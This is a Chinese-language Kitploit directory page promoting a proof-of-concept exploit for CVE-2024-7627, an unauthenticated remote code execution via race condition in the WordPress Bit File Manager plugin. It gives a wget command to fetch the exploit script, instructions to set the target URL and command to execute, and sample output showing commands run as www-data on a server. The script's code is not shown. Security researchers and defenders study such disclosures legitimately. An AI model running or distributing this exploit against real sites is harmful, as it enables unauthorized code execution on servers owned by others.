Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-7627-PoC — 概念验证脚本,针对WordPress插件 Bit File Manager 版本 6.0 - 6.5.5 中通过竞争条件实现的未经身份验证的远程代码执行漏洞 (CVE-2024-7627) | Kitploit
工具/GitHubGitHub/siunam321/cve-2024-7627-poc
漏洞分析代码分析漏洞利用Web应用程序漏洞利用Web安全渗透测试
GitHubsiunam321/cve-2024-7627-poc

CVE-2024-7627-PoC

概念验证脚本,针对WordPress插件 Bit File Manager 版本 6.0 - 6.5.5 中通过竞争条件实现的未经身份验证的远程代码执行漏洞 (CVE-2024-7627)

查看仓库
6211年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-7627-PoC

背景

此概念验证(PoC)脚本用于WordPress插件Bit File Manager版本6.0至6.5.5中通过竞态条件导致的未认证远程代码执行漏洞(CVE-2024-7627)。

信息

描述:

WordPress的Bit File Manager插件在6.0至6.5.5版本中存在远程代码执行漏洞,通过'checkSyntax'函数实现。这是因为在执行文件验证之前将临时文件写入公开可访问的目录。如果管理员允许访客用户具有读取权限,则未认证的攻击者可能因此在服务器上执行代码。(源自https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/file-manager/bit-file-manager-60-655-unauthenticated-remote-code-execution-via-race-condition)

技术细节

技术文章:https://siunam321.github.io/ctf/Bug-Bounty/Wordfence/how-i-found-my-first-vulnerabilities-in-6-different-wordpress-plugins-part-2/#flawedmissing-permission-check---bit-file-manager-rce-via-race-condition

安装

root@kitploit:~
wget https://raw.githubusercontent.com/siunam321/CVE-2024-7627-PoC/main/poc.py

使用/利用

  • 前提条件:猜测用户访问权限,且短代码 file-manager 必须已由管理员设置

更新Python脚本 poc.py 中的 targetBaseUrl、fileManagerPostPath 和/或 commandToExecute 为你期望的值。然后运行 python3 poc.py 来执行PoC脚本。

示例输出:

root@kitploit:~
└> python3 poc.py
[*] Getting a valid AJAX nonce...
[+] Found the valid AJAX nonce: f3128b289e
[*] Getting a random file's hash via elFinder command "open"...
[+] Found file "wp-config-sample.php" with hash "l1_d3AtY29uZmlnLXNhbXBsZS5waHA"!
[*] Editing file with hash "l1_d3AtY29uZmlnLXNhbXBsZS5waHA" via elFinder command "put" and getting the edited temporary PHP file at "http://localhost/wp-content/uploads/file-managertemp.php"...
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[+] We won the race condition! Here's the PHP payload result:
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
8d3b2776e8a6
下载工具